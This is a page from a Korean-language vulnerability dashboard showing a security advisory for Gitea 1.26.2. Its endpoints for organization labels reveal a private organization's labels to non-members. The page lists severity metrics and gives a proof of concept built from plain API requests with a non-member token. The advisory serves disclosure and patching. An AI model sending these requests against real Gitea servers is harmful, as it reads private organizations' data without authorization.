Kestrel
대시보드로 돌아가기
CVE-2026-25038HIGH· 7.5MITRENVDGHSA대응게시일: 2026. 07. 03.수정일: 2026. 07. 21.

Gitea: Unauthorized Access to Labels of Private Organizations

AuthInfo-Disclosure

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
7.5high

이론적 심각도 점수

EPSS
0.4%상위 65.2%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.17.5HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

상세 설명

Summary

Gitea 1.26.2 does not properly enforce organization visibility restrictions on organization label read endpoints.

A user without access to a private organization can retrieve labels belonging to that organization through the Organization Labels API. As a result, label metadata intended to be restricted to organization members may be disclosed.

The issue is limited to unauthorized read access. No unauthorized modification of labels was observed.

Details

The following endpoints are affected:

  • GET /api/v1/orgs/{org}/labels
  • GET /api/v1/orgs/{org}/labels/{id}

During testing, a private organization was created and a label was added to that organization.

Access to the organization itself was correctly restricted. A user without membership in the organization received a 404 Not Found response when requesting organization information.

However, the same user was still able to retrieve organization labels through the endpoints listed above.

For comparison, other organization-scoped endpoints such as:

  • GET /api/v1/orgs/{org}/teams
  • GET /api/v1/orgs/{org}/hooks
  • GET /api/v1/orgs/{org}/actions/secrets

correctly denied access to unauthorized users.

The label endpoints returned the full Label object, including fields such as:

  • id
  • name
  • description
  • color
  • url

Write operations were tested separately and remained protected by authorization checks.

PoC

Setup

Create a private organization:

text
1POST /api/v1/orgs
2Authorization: token <owner_token>
3
4{
5 "username": "target-org",
6 "visibility": "private"
7}

Create a label:

bash
1POST /api/v1/orgs/target-org/labels
2Authorization: token <owner_token>
3
4{
5 "name": "internal-label",
6 "color": "#aabbcc",
7 "description": "private organization label"
8}

Verify that the organization is not accessible to a non-member:

text
1GET /api/v1/orgs/target-org
2Authorization: token <non_member_token>

Response:

text
1HTTP/1.1 404 Not Found

Retrieve all labels

Request:

text
1GET /api/v1/orgs/target-org/labels
2Authorization: token <non_member_token>

Observed response:

text
1HTTP/1.1 200 OK

The response contains labels belonging to the private organization.

Retrieve a specific label

Request:

text
1GET /api/v1/orgs/target-org/labels/1
2Authorization: token <non_member_token>

Observed response:

text
1HTTP/1.1 200 OK

The full Label object is returned.

Verify write protection

Request:

text
1PATCH /api/v1/orgs/target-org/labels/1
2Authorization: token <non_member_token>

Response:

text
1HTTP/1.1 403 Forbidden

PoC Details

https://anonymous.4open.science/r/Gitea_PoC-EC93/2_poc_private_org_labels_leak

Impact

Users who are not authorized to access a private organization can obtain label metadata associated with that organization.

Depending on how labels are used, this may disclose internal organizational information contained in label names or descriptions.

The issue affects confidentiality only. No integrity or availability impact was observed.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.